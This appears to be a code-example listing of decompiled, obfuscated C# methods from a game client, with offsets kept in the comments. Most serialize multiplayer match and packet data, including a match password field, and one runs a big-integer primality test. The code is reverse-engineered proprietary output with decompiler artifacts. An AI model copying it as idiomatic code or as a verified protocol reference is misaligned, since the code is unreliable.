		// RVA: 0x0000EBE2 File Offset: 0x0000CDE2
		public void imethod_0(Class31 class31_0)
		{
			class31_0.method_3(this.string_0);
		}
Example #47
0
 // Token: 0x06000E47 RID: 3655
 // RVA: 0x0004E440 File Offset: 0x0004C640
 private int method_2(Class31 class31_0)
 {
     bSerializable bSerializable = this.object_0 as bSerializable;
     if (this.enum3_0 == Enum3.const_84)
     {
         return 0;
     }
     MemoryStream memoryStream = (MemoryStream)class31_0.BaseStream;
     class31_0.Seek(7, SeekOrigin.Begin);
     int num = 0;
     if (bSerializable != null)
     {
         bSerializable.WriteToStream(class31_0);
         num = (int)memoryStream.Position - 7;
     }
     class31_0.Seek(0, SeekOrigin.Begin);
     class31_0.Write((ushort)this.enum3_0);
     class31_0.Write(0);
     class31_0.Write((uint)num);
     return 7 + num;
 }
Example #48
0
 // Token: 0x0600234E RID: 9038
 // RVA: 0x0001BF1F File Offset: 0x0001A11F
 protected override void vmethod_6(Class31 class31_0)
 {
     class31_0.Write((double)this.float_0);
 }
Example #49
0
 // Token: 0x06000E08 RID: 3592
 // RVA: 0x0004D6E4 File Offset: 0x0004B8E4
 public void WriteToStream(Class31 class31_0)
 {
     class31_0.Write((short)this.matchId);
     class31_0.Write(this.inProgress);
     class31_0.Write((byte)this.matchType);
     class31_0.Write((uint)this.activeMods);
     class31_0.Write(this.gameName);
     class31_0.Write((this.SendPassword || this.gamePassword == null) ? this.gamePassword : string.Empty);
     class31_0.Write(this.beatmapName);
     class31_0.Write(this.beatmapId);
     class31_0.Write(this.beatmapChecksum);
     for (int i = 0; i < bMatch.smethod_0(); i++)
     {
         class31_0.Write((byte)this.slotStatus[i]);
     }
     for (int j = 0; j < bMatch.smethod_0(); j++)
     {
         class31_0.Write((byte)this.slotTeam[j]);
     }
     for (int k = 0; k < bMatch.smethod_0(); k++)
     {
         if ((this.slotStatus[k] & SlotStatus.flag_7) > (SlotStatus)0)
         {
             class31_0.Write(this.slotId[k]);
         }
     }
     class31_0.Write(this.hostId);
     class31_0.Write((byte)this.playMode);
     class31_0.Write((byte)this.matchScoringType);
     class31_0.Write((byte)this.matchTeamType);
     class31_0.Write((byte)this.specialModes);
     if ((this.specialModes & MultiSpecialModes.FreeMod) > MultiSpecialModes.None)
     {
         for (int l = 0; l < bMatch.smethod_0(); l++)
         {
             class31_0.Write((int)this.slotMods[l]);
         }
     }
     class31_0.Write(this.Seed);
 }
Example #50
0
 public bool method_12(int int_3)
 {
     Class23 @class;
        if ((this.uint_0[499] & 2147483648u) != 0u)
        {
        @class = Class23.smethod_14(this);
        }
        else
        {
        @class = this;
        }
        bool result;
        if (@class.int_2 == 1)
        {
        if (@class.uint_0[0] == 0u || @class.uint_0[0] == 1u)
        {
            result = false;
            return result;
        }
        if (@class.uint_0[0] == 2u || @class.uint_0[0] == 3u)
        {
            result = true;
            return result;
        }
        }
        if ((@class.uint_0[0] & 1u) == 0u)
        {
        result = false;
        }
        else
        {
        int num = @class.method_9();
        Class23 class2 = new Class23();
        Class23 class3 = Class23.smethod_6(@class, Class23.smethod_2(1));
        Class23 class23_ = Class23.smethod_11(class3, 1);
        Class31 class4 = new Class31();
        for (int i = 0; i < int_3; i++)
        {
            bool flag = false;
            while (!flag)
            {
                int j;
                for (j = 0; j < 2; j = (int)(class4.method_2() * (float)num))
                {
                }
                class2.method_8(j, class4);
                int num2 = class2.int_2;
                if (num2 > 1 || (num2 == 1 && class2.uint_0[0] != 1u))
                {
                    flag = true;
                }
            }
            Class23 class5 = class2.method_7(@class);
            if (class5.int_2 == 1 && class5.uint_0[0] != 1u)
            {
                result = false;
                return result;
            }
            Class23 class23_2 = class2.method_5(class23_, @class);
            if (Class23.smethod_15(class23_2, class3))
            {
                class23_2 = Class23.smethod_2(-1);
            }
            Class23 class23_3 = Class23.smethod_2(Class23.smethod_28(class2, @class));
            if (Class23.smethod_16(class23_2, class23_3))
            {
                result = false;
                return result;
            }
        }
        result = true;
        }
        return result;
 }
Example #51
0
		// Token: 0x06000DFB RID: 3579
		// RVA: 0x0000E9A5 File Offset: 0x0000CBA5
		public void WriteToStream(Class31 class31_0)
		{
			class31_0.Write(this.int_0);
		}